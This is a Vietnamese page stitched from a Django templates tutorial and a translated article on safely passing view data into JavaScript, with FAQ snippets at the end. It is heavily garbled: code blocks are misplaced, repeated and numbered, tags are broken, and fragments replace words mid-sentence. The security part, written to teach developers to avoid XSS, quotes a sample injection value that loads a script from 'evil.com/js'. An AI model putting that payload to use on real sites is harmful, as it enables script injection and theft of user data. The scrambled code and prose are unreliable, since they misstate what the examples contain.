Cách chuyển giá trị từ chế độ xem sang html trong django

Như bạn có thể thấy trong chế độ xem ở trên, chúng tôi tạo một đối tượng có tên bối cảnh và điền dữ liệu vào đó, đồng thời gửi nó dưới dạng tham số đầu tiên trong hàm

<script>
    const username = "Adam <3";
script>
4


Tạo biến trong mẫu

Bạn cũng có thể tạo các biến trực tiếp trong mẫu bằng cách sử dụng thẻ mẫu

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
0

Ví dụ

<script>
    const username = "Adam <3";
script>
5

{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
Chạy ví dụ »

Bạn sẽ tìm hiểu thêm về các thẻ mẫu trong chương tiếp theo


Dữ liệu từ một mô hình

Ví dụ trên cho thấy một cách tiếp cận dễ dàng về cách tạo và sử dụng các biến trong một mẫu

Thông thường, hầu hết dữ liệu bên ngoài mà bạn muốn sử dụng trong mẫu đều đến từ một mẫu

Chúng tôi đã tạo một mô hình trong các chương trước, được gọi là

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
2, chúng tôi sẽ sử dụng mô hình này trong nhiều ví dụ trong các chương tiếp theo của hướng dẫn này

Để lấy dữ liệu từ mô hình

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
2, chúng tôi sẽ phải nhập nó vào tệp
<script>
    const username = "Adam <3";
script>
6 và trích xuất dữ liệu từ nó trong chế độ xem

Bạn muốn chuyển dữ liệu của mình từ chế độ xem Django sang JavaScript, trong mẫu của bạn. Và, bạn muốn làm điều đó một cách an toàn, không có nguy cơ vô tình cho phép tiêm mã độc. Tuyệt vời, đây là bài viết dành cho bạn

Chúng ta sẽ xem xét các vấn đề với JavaScript tạo khuôn mẫu, sau đó là hai kỹ thuật

Và cuối cùng, một số tùy chọn khác mà tôi không khuyên dùng

Đi nào

Cập nhật (21-10-2022) Kênh Youtube BugBytes có một video dựa trên bài đăng này, minh họa hai kỹ thuật đã được phê duyệt

JavaScript tạo khuôn mẫu không hoạt động

Nhiều nhà phát triển thử trực tiếp tạo khuôn mẫu cho các thẻ

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 nội tuyến

{# DON’T DO THIS #}
<script>
    const username = "{{ username }}";
script>

Tôi khuyên bạn không bao giờ làm điều này

Điều này thường không hoạt động, vì Django thực hiện thoát HTML trên giá trị. Ví dụ: nếu

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
9 là
a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
0, đầu ra sẽ là

________số 8

Điều này có nghĩa là hiển thị tên người dùng không chính xác

Ngoài ra, sẽ cực kỳ nguy hiểm nếu bạn tạo mẫu các biến không phải chuỗi hoặc sử dụng các ký tự mẫu JavaScript (chuỗi f của JavaScript sử dụng backticks). Ví dụ, lấy mẫu này

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>

Một giá trị độc hại có thể sử dụng một backtick để kết thúc nghĩa đen, sau đó thêm JavaScript tùy ý. Ví dụ: nếu

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
9 là

a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`

… thì HTML sẽ là

{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
2

Mã này xác định

a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
2, sau đó chèn một
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 vào DOM có nguồn từ
a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
4. Tập lệnh đó có thể đánh cắp tất cả dữ liệu người dùng. panik

Hệ thống mẫu của Django chỉ thoát khỏi HTML. Nó không được thiết kế để thoát các giá trị bên trong JavaScript, vốn có cú pháp rộng hơn

Mặc dù JavaScript tạo khuôn mẫu hoạt động trong một số trường hợp hạn chế, vì nó thường không an toàn, tôi khuyên bạn đừng bao giờ làm điều đó. Quá khó để duy trì sự tách biệt giữa các biến luôn chứa các ký tự an toàn và các biến không. Ngoài ra, chỉ một số thẻ và bộ lọc nhất định là an toàn. Theo thời gian, cuối cùng bạn sẽ giới thiệu các lỗ hổng bảo mật

Thay vào đó, hãy sử dụng một trong hai kỹ thuật sau

Sử dụng thuộc tính dữ liệu cho các giá trị đơn giản

Để chuyển các giá trị đơn giản vào JavaScript của bạn, thật thuận tiện khi sử dụng các thuộc tính dữ liệu

{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
6

a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
5 cung cấp quyền truy cập nhanh vào phần tử
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 hiện tại. Thuộc tính
a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
7 của nó chứa các thuộc tính đã truyền dưới dạng chuỗi

Tập tin kịch bản riêng biệt

Bạn cũng có thể sử dụng

a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
5 cho các tệp tập lệnh riêng biệt

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
1

… đọc giống nhau

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
2

đơn giản

Tôi khuyên bạn nên sử dụng các tệp tập lệnh riêng biệt càng nhiều càng tốt. Chúng tốt hơn cho hiệu suất vì trình duyệt có thể lưu trữ mã. Ngoài ra, bạn có thể thiết lập Chính sách bảo mật nội dung (CSP) để không cho phép các thẻ tập lệnh nội tuyến, ngăn chặn các cuộc tấn công XSS—hãy xem bài đăng tiêu đề bảo mật của tôi. )

trường hợp chuyển đổi

Thuộc tính

a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
7 chuyển kebab-case thành camelCase. Ví dụ: nếu bạn có
{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
20

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
5

…bạn sẽ đọc nó bằng JavaScript là

{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
21

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
7

Thịt nướng HTML trở thành lạc đà JavaScript

Các loại không phải chuỗi

a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
7 chỉ chứa chuỗi, bởi vì tất cả các giá trị thuộc tính HTML đều là chuỗi. Nếu bạn đang chuyển một số, ngày tháng hoặc loại đơn giản khác vào JavaScript của mình, bạn sẽ cần phân tích cú pháp nó. Ví dụ, hãy tưởng tượng bạn đang truyền một số nguyên

<script>
    const username = "Adam <3";
script>
0

…bạn muốn

{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
23 chuyển đổi giá trị này từ một chuỗi

<script>
    const username = "Adam <3";
script>
1

Đúng-o

Không có giới hạn

Một

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 có thể có bao nhiêu thuộc tính dữ liệu tùy thích

<script>
    const username = "Adam <3";
script>
2

…nhưng tại một số điểm, điều này có thể cảm thấy khá khó sử dụng. Ngoài ra, không thuận tiện khi chuyển các loại phức tạp như ký tự hoặc danh sách trong thuộc tính. Điều đó dẫn chúng ta đến cửa số hai

Sử dụng {# DON’T DO THIS #} 7 cho các giá trị phức tạp

Nếu bạn cần chuyển một lệnh hoặc danh sách tới JavaScript, hãy sử dụng Django's. Ví dụ: hãy tưởng tượng chế độ xem của bạn đã chuyển biến này trong ngữ cảnh

<script>
    const username = "Adam <3";
script>
3

Bạn có thể chuyển biến này tới bộ lọc

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
7 như vậy

<script>
    const username = "Adam <3";
script>
4

Django sẽ hiển thị thẻ

{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
28 chứa dữ liệu

<script>
    const username = "Adam <3";
script>
5

Sau đó, tập lệnh có thể tìm thấy dữ liệu

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 là phần tử tiếp theo sau
a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`
5 bằng cách sử dụng
{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
61 và phân tích dữ liệu bằng
{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
62

<script>
    const username = "Adam <3";
script>
6

Ngọt

Django < 4. 1

Hình thức trên của

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
7 chỉ được hỗ trợ trên Django 4. 1+. Trước đó, bạn cần cung cấp cho nó một ID cho dữ liệu
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8, nhưng bạn có thể vượt qua
{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
65, trình duyệt hiểu là “không có ID”

<script>
    const username = "Adam <3";
script>
7

…kết xuất như

<script>
    const username = "Adam <3";
script>
8

Đoạn JavaScript trên vẫn hoạt động vì nó chỉ sử dụng cấu trúc DOM để tìm dữ liệu

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8

Alrighty sau đó

Với một ID

Bạn cũng có thể chuyển ID tới

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
7 để lấy dữ liệu
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8. Điều này có thể hữu ích nếu JavaScript
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 của bạn không nằm cạnh dữ liệu của bạn
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 hoặc nếu một tệp JavaScript sẽ sử dụng một số dữ liệu
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8. Ví dụ

<script>
    const username = "Adam <3";
script>
9

Django biểu hiện điều này như

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
0

Sau đó, bạn có thể sử dụng

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
12 để tìm phần tử dữ liệu
{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
8 và một lần nữa
{% with firstname="Tobias" %}
Hello {{ firstname }}, how are you?
62 để phân tích cú pháp dữ liệu chứa trong đó

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
1

Đây là kỹ thuật được đề xuất trong tài liệu

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
7

Khéo léo

Các kỹ thuật không được đề xuất khác

Dưới đây là một số tùy chọn khác mà bạn đã thấy, mà tôi không khuyến nghị

Sử dụng bộ lọc from django.http import HttpResponse from django.template import loader def testing(request): template = loader.get_template('template.html') context = { 'firstname': 'Linus', } return HttpResponse(template.render(context, request))16 không an toàn

Bạn có thể đã thấy JavaScript theo khuôn mẫu sử dụng

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
2

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
16 đánh dấu một biến là “an toàn để đưa trực tiếp vào HTML”, tức là nó vô hiệu hóa tính năng thoát HTML của Django. Điều này sẽ cho phép
from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
19 xuất hiện không bị thay đổi trong tập lệnh được tạo mẫu

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
3

Điều này mở rộng tập lệnh để tấn công. Hãy tưởng tượng

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
9 là

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
4

…sau đó, HTML được hiển thị sẽ là

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
5

Trình duyệt phân tích cú pháp HTML mà không có bất kỳ nhận thức nào về cú pháp JavaScript, dẫn đến

  1. Một
    {# DON’T DO THIS #}
    <script>
        const greeting = `Hi {{ username }}`;
    script>
    
    8 đầu tiên, đóng cửa sau
    from django.http import HttpResponse
    from django.template import loader
    
    def testing(request):
      template = loader.get_template('template.html')
      context = {
        'firstname': 'Linus',
      }
      return HttpResponse(template.render(context, request))
    22. Trình duyệt sẽ chạy JavaScript này, sẽ gặp sự cố với lỗi về chuỗi không được tiết lộ
  2. Thẻ
    {# DON’T DO THIS #}
    <script>
        const greeting = `Hi {{ username }}`;
    script>
    
    8 được chèn thứ hai, tải
    from django.http import HttpResponse
    from django.template import loader
    
    def testing(request):
      template = loader.get_template('template.html')
      context = {
        'firstname': 'Linus',
      }
      return HttpResponse(template.render(context, request))
    24
  3. Nút văn bản có nội dung
    from django.http import HttpResponse
    from django.template import loader
    
    def testing(request):
      template = loader.get_template('template.html')
      context = {
        'firstname': 'Linus',
      }
      return HttpResponse(template.render(context, request))
    25
  4. from django.http import HttpResponse
    from django.template import loader
    
    def testing(request):
      template = loader.get_template('template.html')
      context = {
        'firstname': 'Linus',
      }
      return HttpResponse(template.render(context, request))
    26 cuối cùng bị bỏ qua, vì nó không khớp với phần mở đầu
    {# DON’T DO THIS #}
    <script>
        const greeting = `Hi {{ username }}`;
    script>
    
    8

Một lần nữa,

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
24 có thể đánh cắp tất cả dữ liệu người dùng. panik

Vì vậy, sử dụng

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
16 như thế này là không an toàn. Nó chỉ an toàn khi sử dụng nó với HTML đã thoát, chẳng hạn như từ một đoạn được kết xuất trước

Thế còn from django.http import HttpResponse from django.template import loader def testing(request): template = loader.get_template('template.html') context = { 'firstname': 'Linus', } return HttpResponse(template.render(context, request))50 thì sao?

Có thể tạo mẫu JavaScript với

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
script>
6

Tuy nhiên, điều này có một số điểm tinh tế, như các tài liệu hiện đang nói

Điều này không làm cho chuỗi an toàn để sử dụng trong văn bản mẫu HTML hoặc JavaScript

(Lời nhắc nhở. chữ mẫu là JavaScript tương đương với chuỗi f. )

Tuy nhiên, có một PR mở để cải thiện tài liệu. Có vẻ như trước đây

from django.http import HttpResponse
from django.template import loader

def testing(request):
  template = loader.get_template('template.html')
  context = {
    'firstname': 'Linus',
  }
  return HttpResponse(template.render(context, request))
50 đã được đảm bảo an toàn nhờ cập nhật tài liệu

Tuy nhiên, tôi khuyên bạn nên sử dụng thuộc tính dữ liệu vì

  1. Tạo khuôn mẫu JavaScript nói chung vẫn không an toàn. bạn không thể sử dụng các thẻ hoặc bộ lọc khác mà không gặp rủi ro

  2. Thuộc tính dữ liệu hoạt động với cả tập lệnh nội tuyến và tệp tập lệnh riêng biệt. Bạn không cần cấu trúc lại bất cứ thứ gì nếu bạn chuyển từ tập lệnh nội tuyến sang một tệp riêng biệt

    (Và việc sử dụng các tệp tập lệnh riêng biệt là tốt vì những lý do khác, như đã lưu ý trước đây. )

  3. Hiện tại, các tài liệu vẫn nói rằng

    from django.http import HttpResponse
    from django.template import loader
    
    def testing(request):
      template = loader.get_template('template.html')
      context = {
        'firstname': 'Linus',
      }
      return HttpResponse(template.render(context, request))
    50 không an toàn. Chưa có sự chấp thuận từ nhóm bảo mật Django hoặc các đồng nghiệp

    Làm cách nào để chuyển dữ liệu từ chế độ xem trong HTML ở Django?

    Như chúng ta đã biết django là một MVC framework. Vì vậy, chúng tôi tách logic kinh doanh khỏi logic trình bày. Chúng tôi viết logic nghiệp vụ trong chế độ xem và chuyển dữ liệu sang mẫu để trình bày dữ liệu . Dữ liệu mà chúng tôi chuyển từ chế độ xem sang mẫu thường được gọi là dữ liệu "bối cảnh".

    Làm cách nào để chuyển ngữ cảnh sang HTML trong Django?

    Có hai cách để thực hiện – một cách liên quan đến get_context_data, cách còn lại là sửa đổi biến extra_context . Hãy xem cách sử dụng từng phương pháp một. Giải trình. Minh họa về Cách sử dụng phương thức get_context_data và biến extra_context để chuyển ngữ cảnh vào mẫu của bạn bằng một ví dụ.

    Làm cách nào để chuyển dữ liệu từ trang HTML này sang trang HTML khác trong Django?

    Tôi cần trợ giúp để chuyển dữ liệu từ html này sang html khác .
    Trình duyệt yêu cầu một trang
    Máy chủ trả về một trang chứa biểu mẫu
    Trình duyệt gửi biểu mẫu có dữ liệu
    Máy chủ xác thực biểu mẫu và lưu dữ liệu vào cơ sở dữ liệu
    Máy chủ chuyển hướng trình duyệt đến một trang khác

    {% khối %} trong Django là gì?

    Trong các mẫu chính, thẻ khối là phần giữ chỗ sẽ được thay thế bằng một khối trong mẫu con có cùng tên . Trong các mẫu con, thẻ khối là nội dung sẽ thay thế trình giữ chỗ trong mẫu chính có cùng tên.